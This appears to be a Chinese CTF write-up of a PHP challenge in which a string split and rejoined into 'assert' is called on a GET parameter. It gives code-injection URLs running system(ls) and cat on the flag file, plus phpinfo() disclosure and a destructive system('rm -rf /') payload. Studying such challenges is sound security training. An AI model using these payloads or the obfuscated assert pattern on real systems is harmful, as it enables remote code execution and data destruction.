CTF--shell

一、原题

(1)提示:

poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_1[1].poc_1\[2\].poc_1[3].poc_1\[4\].poc_1[5]; poc_2(_GET['s'])

(2)原网页:一片空白什么都没有


二、步骤

1.提示:

php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

2.提示分析:

php 复制代码
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"

$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
                         
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"

$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);

3.利用代码注入漏洞,构造新的URL:

117.72.52.127:15439?s=system(ls)

或者:

117.72.52.127:15439?s=system(dir)

4.输入:

117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')

获得flag:

三、补充

1.其他代码注入漏洞:

http://117.72.52.127:15640?s=phpinfo()

执行phpinfo(),泄露服务器PHP配置信息

http://117.72.52.127:15640?s=system('rm -rf /')

执行rm -rf,删除服务器上的所有文件(假如有权限)

2.参数值分析:

system('ls')

system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者

ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹

四、RCE:

RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客

相关推荐
码界奇点3 天前
Django视图从基础到高级的全面解析
数据库·django·sqlite·web·python3.11
这儿有一堆花4 天前
一次渗透测试的全过程:从扫描到提权
web安全·网络安全·web
CC码码4 天前
解决前端多标签页通信:BroadcastChannel
前端·javascript·web
mooyuan天天4 天前
Spring远程命令执行漏洞复现:原理分析+环境搭建+渗透实践(CVE-2018-1270)
web·vulhub·web框架漏洞·cve-2018-1270·spring远程命令执行漏洞
im_AMBER5 天前
React 01
前端·javascript·笔记·react.js·前端框架·web
Scabbards_5 天前
github 个人静态网页搭建(一)部署
github·web
360智汇云7 天前
Golang Context 的巧妙应用:提高并发管理的艺术
web
kali-Myon8 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
亿.68 天前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
被巨款砸中9 天前
前端 20 个零依赖浏览器原生 API 实战清单
前端·javascript·vue.js·web